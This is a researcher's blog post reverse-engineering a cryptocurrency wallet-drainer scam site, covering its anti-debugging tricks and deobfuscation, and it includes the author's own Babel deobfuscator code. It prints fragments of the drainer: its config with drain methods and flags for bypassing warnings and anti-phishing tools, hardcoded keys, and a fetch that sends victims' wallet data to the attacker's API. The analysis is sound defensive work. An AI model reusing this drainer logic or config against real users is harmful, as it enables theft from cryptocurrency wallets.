Reversing a Web3 Scam via Dynamic Analysis and Deobfuscation

Reversing a Web3 Scam via Dynamic Analysis and Deobfuscation

Ching367436 竹狐隊長

When I was creating a Web3 challenge for AIS3 Pre-exam 2024, I referenced a scam website that had been sent to my wallet before. I wanted to learn how to implement a sleek Web3 wallet connect interface based on it, but I discovered that the website’s code was heavily obfuscated and included anti-debugging mechanisms, making it difficult to use the debugger properly. So, I started investigating the website, and eventually, it became the content of the challenge I created.

Observation

A scam ERC20 token has appeared in my wallet, as shown in the image below. The link leads to a website that looks like a Blast2L site.

erc20

website

Uncover the IP hidden behind Cloudflare

The website is hidden behind Cloudflare, so I first attempted to discover its actual IP address. An SPF record for that domain includes an IP address, as shown below.

1
v=spf1 ip4:79.137.xxx.xx a mx ~all

The IP address is from Russia. Furthermore, the website’s CSS contains domains from Russia, and even the code includes Russian characters. This suggests a potential association between the website and Russia. I discovered a list of scam websites hosted on that IP from Gist, indicating that the IP is highly suspicious.

1
2
3
/* [...] */, :root a[href*="//top.mail.ru/jump?"], :root a#mobtop[title^="Рейтинг мобильных сайтов"], /* [...] */ {
display: none !important;
}
ip-scam-list

If we directly visit the website, we will see a FASTPANEL page.

fastpanel

I modified the request host header to the original domain and sent the request again. The original website was displayed, confirming that the SPF IP is indeed the website’s IP.

modify-host-header

Handling Anti-Debugging

The website’s main script is heavily obfuscated and over 2 million characters long. Therefore, we need to use dynamic analysis to learn it quickly.

main-script

The breakpoint problem

If we open the developer tools, we will be paused at a breakpoint. Resuming the execution will cause us to be paused again, so let’s try removing the breakpoint first. There are two functions in the call stack when paused; let’s investigate it.

debugger-pause

The code around the breakpoint is displayed below. It’s a conditional ternary operator with a constant condition (true), so the false condition code is essentially dead code.

1
2
3
4
('' + _0x3556f3[__p_0566375197(8698)](_0x50c3fc, _0x50c3fc))[_0x3556f3[__p_0566375197(8699)]] !== __p_1452585703_calc(312, __p_2651934416 = -22) * __p_1452585703_calc(10, __p_4879216376(-22)) + 822 * 11 + 12161 * __p_1452585703_calc(1, __p_4879216376(-22)) || _0x50c3fc % (8999 * __p_1452585703_calc(1, __p_4879216376(-22)) + 4019 + 5e3) === __p_1452585703_calc(9611, __p_4879216376(-22)) + 3453 + 6158 
? function() { return __p_1452585703_calc(__p_1452585703_calc([], __p_2651934416 = 41), __p_2651934416 = 41)}
[__p_1452585703_calc(__p_0566375197(8135) + '\u0072\u0075\u0063\u0074\u006f', '\x72', __p_4879216376(-7))](__p_1452585703_calc('\u0064\u0065\u0062\u0075', _0x1c7f46(1470), __p_2651934416 = -7))[_0x59f630(1874)](__p_1452585703_calc(__p_0566375197(8706), '\x6e', __p_4879216376(-7)))
: function() { return __p_1452585703_calc([], __p_2651934416 = 41) }[__p_1452585703_calc(__p_0566375197(8135) + __p_0566375197(8136), '\u0072', __p_4879216376(-7))](__p_1452585703_calc(__p_0566375197(8707), __p_0566375197['\x61\x70\x70\x6c\x79'](undefined, [8708]), __p_4879216376(-7)))[_0x59f630(1801)](__p_1452585703_calc(__p_0566375197(8709) + __p_0566375197(8710), '\u0074', __p_4879216376(-7)))

If we deobfuscate the code dynamically, we get the following code within the 0x2a8683 function. The code retrieves the function constructor from a function and uses it to create a new function with a debugger statement in its body. Then, it calls the function, triggering the breakpoint. Commenting out the code that calls 0x2a8683 solves the breakpoint problem.

1
2
3
4
5
6
7
8
function() { return true }['constructor']('debugger')['call']("action")


// It can be simplify to the following since `function() { return true }['constructor']` is just the function constructor.
Fucntion('debugger')['call']("action")

// It can be furthor simplified to the following, as the function does not use `this`, which is set to `"action"`
(function(){ debugger } )()

Disable disable-devtool.js

After removing the breakpoint, I reopened the dev tools, and the website closed itself, as shown below:

After inspecting the traffic, I found that the website loads the disable-devtool.js, the root cause of the website closing itself.

1
https://cdn.jsdelivr.net/npm/disable-devtool

When reading the disable-devtool.js document, I discovered that one needs to call the DisableDevtool function to initialize its functionality. So I searched for DisableDevtool in the script and found where it’s invoked. They forgot to obfuscate it!

1
2
3
4
5
6
7
if (_0x476324[__p_1452585703_calc('\u0064\u0069\u0073\u0061\u0062' + _0x32d8fd(2334) + '\u0076\u005f\u0074\u006f\u006f', '\u006c', __p_2651934416 = -7)]) {
if (__p_1452585703_calc(window[__p_1452585703_calc(__p_0566375197(7874) + '\u006c\u0065\u0044\u0065\u0076', __p_0566375197(7875), __p_2651934416 = -7)], __p_2651934416 = 41)) {
location[__p_1452585703_calc('\x72\x65\x6c\x6f\x61', '\u0064', __p_4879216376(-7))]();
return
}
DisableDevtool()
}

I deobfuscated the surrounding code dynamically and obtained the following code. First, it checks if _0x476324["disable_dev_tool"] is true in order to determine whether to enable disable-devtool.js. If it is true, it then verifies if DisableDevtool is loaded correctly. If not, it will be reloaded. Therefore, if we block the disable-devtool.js traffic, the web pages will reload infinitely. Commenting out DisableDevtool should disable disable-devtool.js.

1
2
3
4
5
6
7
if (_0x476324["disable_dev_tool"]) {
if (!window["DisableDevtool"]) {
location["reload"]();
return
}
DisableDevtool()
}

The 0x476324 variable seems interesting. It appears to be a config file, as shown below, revealing the website’s intention of draining the user’s wallet. There is a key called api. I want to know its function, so let’s dig into it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
{
"api": "https://web3-api.click",
"customer_id": "clath",
"hardcoded": true,
"connect_buttons_class": "interact-button",
"drain_buttons_class": "interact-button",
"disconnect_buttons_class": "",
"connect_text": "Connect Wallet",
"connected_text": "Connected As {wallet}",
"loading_text": "Verifying",
"verify_text": "Please Verify",
"drain_button_waiting_click_text": "Claim",
"change_chain_text": "Please Switch Chain",
"not_eligible_text": "You Are Not Eligible",
"disconnect_text": "Disconnect",
"transfer_function_name": "Claim",
"wallet_connect_project_id": "02f0a71c89a40a32ddf1358ee96d30ce",
"trust_sign_text": "Verify ownership: {wallet}",
"theme": "dark",
"images_path": "./images",
"hidden_chain_name": "Merge",
"disable_eth_sign_if_wallet_connect": true,
"disable_eth_sign_if_metamask": true,
"use_increase_allowance_when_available": true,
"use_token_transfer_if_increase_allowance_not_available": true,
"use_opensea_transfers": true,
"use_contract_for_balance": true,
"use_multi_functions_contract": true,
"enable_popup": true,
"popup_prompt_change_chain": true,
"popup_prompt_ask_confirm": true,
"popup_prompt_ask_confirm_only_one_time": true,
"trust_sign_use_typed_data": true,
"log_prompts": true,
"log_chains_accepts": true,
"disable_dev_tool": true,
"create_wallet_for_seaport": true,
"refresh_at_end": true,
"use_warnings_bypass_1": true,
"reload_if_not_eligible": true,
"auto_prompt": true,
"wallet_connect_style_v3": true,
"use_ratio": true,
"use_warnings_bypass_2": true,
"use_warnings_bypass_3": true,
"auto_load_files": true,
"popup_style": 6,
"popup_5_max_time_before_auto_close": 30000,
"popup_6_max_time_before_auto_close": 30000,
"modal_style": 10,
"risk_ratio": 0.5,
"min_ratio_for_ask_change_chain": 0.95,
"min_wallet_total_value": 0,
"retry_count": 50,
"max_change_chain_retry": 50,
"nfts_api": 2,
"tokens_api": 2,
"max_slippage_on_swap": 50,
"only_chain_to_drain": 1,
"popup_2_config": {
"title": "Pending...",
"message": "Verify your wallet to continue",
"max_time_before_auto_close": 7500
},
"popup_3_config": {
"title": "Please swap your NFT Voucher to claim $2000 USDC",
"max_time_before_auto_close": 15000
},
"popup_4_config": {
"open_function": "window.openPopup(param,isError)",
"close_function": "window.closePopup()",
"max_time_before_auto_close": 7500,
"mode": 1
},
"wallet_connect_config": {
"logo_url": "",
"background_image": "",
"background_color": "",
"accent_color": "",
"accept_fill_color": "",
"overlay_background_color": "",
"font_family": "'Space Mono', monospace;",
"v2_border_radius": false
},
"modal_11_custom_texts": {
"more_wallets": "I use different wallet",
"more_wallets_title": "Start Exploring Web3",
"more_wallets_description": "Your wallet is the gateway to all things Ethereum, the magical technology that makes it possible to explore web3."
},
"methods_risk_ratio": {
"blurTransfers": 6,
"seaport": 5,
"permit": 4,
"permit2": 4,
"wyvern": 3,
"gmx": 3,
"openseaTransfers": 3,
"x2y2BatchTransfer": 3,
"punkTransfer": 3,
"apeCoinsUnstake": 3,
"swap": 3,
"eigenlayer": 3,
"approvement": 2,
"tokenTransfer": 1,
"balanceTransfer": 1,
"safa": 1,
"creepzTransfers": 3,
"creepz_transfers": 3
},
"config": {
"methods_risk_ratio": "[object Object]"
},
"wallet_connect_spoof": {
"name": "Opensea",
"description": "Opeanse Official Marketplace",
"url": "https://opensea.io",
"icon": "https://opensea.io/favicon.ico",
"enabled": false
},
"click_everywhere_open_modal": false,
"wait_click_of_drain_button_to_start": false,
"change_buttons_text": false,
"disable_permit2": false,
"disable_seaport": false,
"disable_permit": false,
"disable_swap": false,
"disable_blur": false,
"disable_wyvern": false,
"disable_x2y2_batch_transfer": false,
"disable_anti_phishing_extensions_bypass": false,
"use_token_transfer": false,
"use_window_provider_if_detected": false,
"prompt_trust_sign": false,
"hide_poor_connects": false,
"log_full_site_url": false,
"balance_transfers_in_last_position": false,
"safa_in_last_position": false,
"hide_added_chain": false,
"drain_only_one_chain": false,
"use_cache_data": false,
"wait_page_load": false,
"configId": null
}

API

To trace the usage of the 0x476324['api'], I hook the getter and setter of it using Object.defineProperty as shown below:

1
2
3
4
Object.defineProperty(_0x476324, 'api', {
get() { debugger; return 'https://web3-api.click'; },
set(newValue) { debugger }
});

It indeed hit our breakpoint! Let’s trace its call stack.

api-hook

In _0x3d3492, it fetches the API with _0x1b9465 body. Let’s investigate _0x1b9465.

_0x3d3492
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// The original code
let _0xb21bb0 = await fetch(__p_1452585703_calc(_0x14e175['\u0061\u0070\u0069'] + '\u002f', _0x513631, __p_4879216376(-7)), {
'\u006d\u0065\u0074\u0068\u006f\u0064': _0x5be209(2896),
'\u0062\u006f\u0064\u0079': _0x1b9465
});
try {
return _0x6899a5(await _0xb21bb0['\u0074\u0065\u0078\u0074']())
} catch {
return __p_1452585703_calc(__p_1452585703_calc(__p_1452585703_calc(127, __p_4879216376(-22)) + __p_1452585703_calc(8549, __p_4879216376(-22)), 1 * 8676, __p_4879216376(-7)), __p_2651934416 = 41)
}

// We can deobfuscate it to
let _0xb21bb0 = await fetch(_0x14e175['api'] + '/ethereum', {
'method': 'POST',
'body': _0x1b9465
});
try {
return _0x6899a5(await _0xb21bb0['text']())
} catch {
return true
}

_0x1b9465 is from the _0x1a0343 function. _0x1a0343 encrypts data like customer_id, the victim’s wallet address, and the website’s URL.
Note that it uses the key inferno, so it was probably developed by Inferno. (Sunsec told me it was perhaps from Inferno while I presented the research to him.)

Let’s return to the fetch part of the code.

The _0x1a0343 function after deobfuscation
_0x1b9465_0x1b9465-deobfscated-2
The _0x1a0343 function before deobfuscation
_0x1b9465

After fetching the API, it is called _0x6899a5 with the returned data. Let us investigate it.

1
2
3
4
5
6
7
8
9
let _0xb21bb0 = await fetch(_0x14e175['api'] + '/ethereum', {
'method': 'POST',
'body': _0x1b9465
});
try {
return _0x6899a5(await _0xb21bb0['text']())
} catch {
return true
}

_0x6899a5 decrypts the data and returns it. Let us investigate the decryption key.

Deobfuscated _0x6899a5
_0x6899a5-deobfscated
The original _0x6899a5
_0x6899a5

The decryption key is from _0x97a49a. Let’s look into it.

1
{/* ... */, BACKEND_DECRYPT_KEY: _0x3c024e} = _0x97a49a()

_0x97a49a() returns the following information, including the hardcoded key. It also reveals the local storage encryption key, indicating that the local storage is likely encrypted. Let us investigate how the decrypted data is used.

The _0x97a49a() return data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"UNIQUE_VERSION": "6.8.003",
"DEBUG_WALLET": false, /* ... */
"BLUR_FEE_TYPEHASH": "0x05b43f730f67de334a342883f867101fc7ef3361dfdff4a29a7aa97e0920ef7a",
"BLUR_ORDER_TYPEHASH": "0x376bfbc394a7ba7fdf10f224572cef371358e3053e362f4554fcd2ad56329b3f",
"LOCAL_STORAGE_KEY_NAME": "8gzjkjluo2",
"LOCAL_STORAGE_ENCRYPT_KEY": "xi3z2y8ne3f34yxkbhci8cah8y9ic6q5xkctpfpzg4vvi7b8mmn22brdiee5fbrwdvhhzwi9qfquzktpip9kvvaiyirzfk3gh45p",
"BACKEND_DECRYPT_KEY": "r8hhweybk9ekz62w45qvyjnpz3xguueqg6amhbbghbckpeu8fmzdiivezfbnfxe9puz4thkpx5ejcipp53pcuydpu4yuyxx4rqqu",
/* ... */
"METHODS_REQUIERING_VICTIM_TO_PAY_FEES": [ /* ... */ ],
"DAPP_CONNECT_URL": "l.ching367436.me:5501",
"IS_VICTIM_ON_MOBILE": false,
"OS": "Windows",
"MAX_OPENSEA_ELEMENTS": 15
}

The function _0x1e89b9 uses the API return data _0x2612b1. If _0x2612b1[‘blacklisted’], the program will exit. It’s important to note that the API has knowledge of the victim’s address and URL, so the website might blacklist the localhost URL or wallet address belonging to security researchers for security reasons. The drainer address is also specified by the API.

The deobfuscated _0x1e89b9
_0x1e89b9-deobfuscated_0x1e89b9-deobfuscated-2
The original _0x1e89b9
_0x1e89b9

Automate the code deobfuscation process

Manually deobfuscating the code is effective, but the user experience is bad. I attempted to use existing deobfuscation tools, but they were ineffective. Therefore, I decided to develop my own deobfuscator.

The original code and the deobfuscation using the existing deobfuscator, as well as the deobfuscation using my deobfuscator, are shown below. Let us see how I achieved this.

The original code
code-before-deobfuscation
The code deobfuscated by an existing deobfuscator
code-after-deobfuscation
The code deobfuscated by my deobfuscator
code-after-my-deobfuscation

Let’s start by identifying the obfuscation in the code. There is a function called __p_0566375197 that appears over twenty thousand times. Let us see what it does.

p_0566375197

It checks if the value of __p_5272508748[x] is present. If it is, it returns the value. If not, it calculates it using __p_6222965791(__p_7737682834[x])) and fills in __p_5272508748[x], then returns the value. What __p_6222965791 does is perform calculations based on its argument. Therefore, we can replace all occurrences of __p_0566375197(x) with its value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function __p_0566375197(x, y, z, a=__p_6222965791, b=__p_5272508748) {
if (z) {
return y[__p_5272508748[z]] = __p_0566375197(x, y)
} else if (y) {
[b,y] = [a(b), x || z]
}
return y ? x[b[y]] : __p_5272508748[x] || (z = (b[x],
a),
__p_5272508748[x] = z(__p_7737682834[x]))
}

// Since `y` and `z` are always undefined and `b=__p_5272508748`, it can be simplify to
function __p_0566375197(x, y, z, a=__p_6222965791, b=__p_5272508748) {
return __p_5272508748[x] ||
__p_5272508748[x] = __p_6222965791(__p_7737682834[x]))
}

I found a helpful article called “Deobfuscating JavaScript via AST: Replacing References to Constant Variables with Their Actual Value “ that has been very useful to me. I used the methodology to replace __p_0566375197(x) with its actual value. And here is the AST visitor I wrote, which does the job.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
Need to deal with
__p_0566375197['\x63\x61\x6c\x6c'](undefined, 1300)
__p_0566375197(7947)
__p_0566375197.apply(undefined, [11692])
*/
const t = require("@babel/types");
const generate = require("@babel/generator").default;
const __p_0566375197 = require("../site-presentation/__p_0566375197");

function isNodeConstant(node) {
const res = t.isLiteral(node) || (t.isIdentifier(node) && node.name === "undefined") || (t.isArrayExpression(node) && node.elements.every(isNodeConstant));
return res;
}

function nodeToCode(node) {
return generate(node, { comments: false }).code;
}

const foldConstantsVisitor = {
CallExpression(path) {
const callee = path.node.callee;
const args = path.node.arguments;

switch (callee.type) {
case "Identifier":
{
if (callee.name === "__p_0566375197") {
if (!(isNodeConstant(args[0]))) {
const code = generate(path.node, { comments: false }).code;
console.log("Non-constant argument to __p_0566375197: ", code);
return
}
const actualVal = t.valueToNode(__p_0566375197(args[0].value));
path.replaceWith(actualVal);
}
break;
}
case "MemberExpression":
{
if (callee.object.name === "__p_0566375197") {
for (const arg of args) {
if (!(isNodeConstant(arg))) {
const code = generate(path.node, { comments: false }).code;
console.log("Non-constant argument to __p_0566375197: ", code);
console.log(arg);
return
}
}
if (!(callee.property.value === "call" || callee.property.name === "call" || callee.property.name === "apply" || callee.property.value === "apply")) {
const code = generate(path.node, { comments: false }).code;
console.log(callee.property)
console.log("Unsupported __p_0566375197 property: ", code);
return
}
// We've checked that all arguments are constant, so it's safe to evaluate them
const actualVal = t.valueToNode(__p_0566375197(eval(nodeToCode(args[1]))));
path.replaceWith(actualVal);
}
break;
}
}
return;
},
};

module.exports = foldConstantsVisitor;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const t = require("@babel/types");
const generate = require("@babel/generator").default;
const beautify = require("js-beautify");
const { readFileSync, writeFile } = require("fs");

const visitor__p_0566375197 = require("./visitor__p_0566375197");

function deobfuscate(source) {
//Parse AST of Source Code
const ast = parser.parse(source);

// Execute the visitor
for (let i = 0; i < 10; i++) {
traverse(ast, visitor__p_0566375197);
}

// Code Beautification
let deobfCode = generate(ast, { comments: false }).code;
deobfCode = beautify(deobfCode, {
indent_size: 2,
space_in_empty_paren: true,
});
// Output the deobfuscated result
writeCodeToFile(deobfCode);
}

It indeed makes the code more readable, as shown below.

after-p_0566375197-replacement

There is also a function called __p_1452585703_calc, which occurs over five thousand times. Let us see what it does.

p_1452585703_calc

The function __p_1452585703_calc carries out calculations on its parameters. The specific calculation to be performed is determined by the value of the __p_2651934416 variable, which is passed as a global variable. This may be the reason why an existing deobfuscator is unable to handle it effectively.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function __p_1452585703_calc(__p_9164751308, __p_4231378217) {
switch (__p_2651934416) {
case -11:
return __p_9164751308 - __p_4231378217;
case 52:
return __p_9164751308 / __p_4231378217;
case -22:
return -__p_9164751308;
case -7:
return __p_9164751308 + __p_4231378217;
case 28:
return ~__p_9164751308;
case 41:
return !__p_9164751308;
case -15:
return __p_9164751308 * __p_4231378217;
case 0:
return typeof __p_9164751308;
}
}

I replaced all occurrences of __p_1452585703_calc with their actual operations using the code below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
const t = require("@babel/types");
const generate = require("@babel/generator").default;

function nodeToInt(node) {
let res;
if (node.type === "UnaryExpression") {
if (!(node.operator === "-")) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported node.type in __p_1452585703_calc: ", code);
return
}
if (!(node.argument.type === "NumericLiteral")) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported node.argument.type in __p_1452585703_calc: ", code);
return
}
res = -node.argument.value;
} else if (node.type === "NumericLiteral") {
res = node.value;
} else {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported right node type in __p_1452585703_calc: ", code);
return
}
return res;
}

const foldConstantsVisitor = {
CallExpression(path) {
const callee = path.node.callee;
const args = path.node.arguments;

switch (callee.type) {
case "Identifier":
{
if (callee.name === "__p_1452585703_calc") {
if (!(args.length === 3 || args.length === 2)) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported number of arguments to __p_1452585703_calc: ", code);
return
}
// console.log("args.length", args.length)
// console.log(args)

const opNode = args[args.length - 1];
let opCode;
// console.log("opNode", opNode)
switch (opNode.type) {
case "AssignmentExpression":
{
const leftNode = opNode.left;
const rightNode = opNode.right;
// left node
if (!(leftNode.type === "Identifier")) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported left node type in __p_1452585703_calc: ", code);
return
}
if (!(leftNode.name === "__p_2651934416")) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported left node name in __p_1452585703_calc: ", code);
return
}

// right node
opCode = nodeToInt(rightNode);
break
}
case "CallExpression":
{
if (!(opNode.callee.name === "__p_4879216376")) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported opNode.callee.name in __p_1452585703_calc: ", code);
return
}
const args = opNode.arguments;
if (!(args.length === 1)) {
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported number of arguments to __p_4879216376: ", code);
return
}
opCode = nodeToInt(args[0]);
break;
}
default:
{
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported opNode type in __p_1452585703_calc: ", code);
return
}
}
switch (opCode) {
case -11:
// return __p_9164751308 - __p_4231378217;
{
const leftNode = args[0];
const rightNode = args[1];
path.replaceWith(t.binaryExpression("-", leftNode, rightNode));
break;
}
case 52:
// return __p_9164751308 / __p_4231378217;
{
const leftNode = args[0];
const rightNode = args[1];
path.replaceWith(t.binaryExpression("/", leftNode, rightNode));
break;
}
case -22:
// return -__p_9164751308;
{
const leftNode = args[0];
path.replaceWith(t.unaryExpression("-", leftNode));
break;
}
case -7:
// return __p_9164751308 + __p_4231378217;
{
const leftNode = args[0];
const rightNode = args[1];
path.replaceWith(t.binaryExpression("+", leftNode, rightNode));
break;
}
case 28:
// return ~__p_9164751308;
{
const leftNode = args[0];
path.replaceWith(t.unaryExpression("~", leftNode));
break;
}
case 41:
// return !__p_9164751308;
{
const leftNode = args[0];
path.replaceWith(t.unaryExpression("!", leftNode));
break;
}
case -15:
// return __p_9164751308 * __p_4231378217;
{
const leftNode = args[0];
const rightNode = args[1];
path.replaceWith(t.binaryExpression("*", leftNode, rightNode));
break;
}
case 0:
// return typeof __p_9164751308
{
const leftNode = args[0];
path.replaceWith(t.unaryExpression("typeof", leftNode));
break;
}
default:
{
console.log("opCode", opCode)
const code = generate(path.node, { comments: false }).code;
console.log("Unsupported opCode in __p_1452585703_calc: ", code);
return
}
}
}
break;
}
}
return;
},
BinaryExpression(path) {
let { confident, value } = path.evaluate(); // Evaluate the binary expression
if (!confident) return; // Skip if not confident
let actualVal = t.valueToNode(value); // Create a new node, infer the type
if (!t.isLiteral(actualVal)) return; // Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.)
path.replaceWith(actualVal); // Replace the BinaryExpression with the simplified value
},

};

module.exports = foldConstantsVisitor;

After implementing the aforementioned optimizations and others, the code became much more readable. The overall code size was reduced by 72%, a significant reduction.

final-result

Vulnerabilities in the scam website

After the code became readable, I performed some static analysis and discovered an XSS vulnerability. The application saves logs in HTML, which could be exploited to carry out XSS attacks, potentially revealing sensitive information of the attackers, such as their IP addresses.

xss-log

Make it a CTF challenge

After I finished reversing the website, I modified its code and turned it into a CTF challenge. In the end, it became part of the AIS3 Pre-exam 2024 with a difficulty level of hard. Only 3 out of 253 participants were able to solve it. You can find the challenge link and the solution below. Additionally, I taught some of the techniques I used in this challenge in a course at TaiwanHolyHigh.

  • Title: Reversing a Web3 Scam via Dynamic Analysis and Deobfuscation
  • Author: Ching367436
  • Created at : 2024-08-31 21:44:30
  • Link: https://blog.ching367436.me/reversing-a-web3-scam-via-dynamic-analysis-and-deobfuscation/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments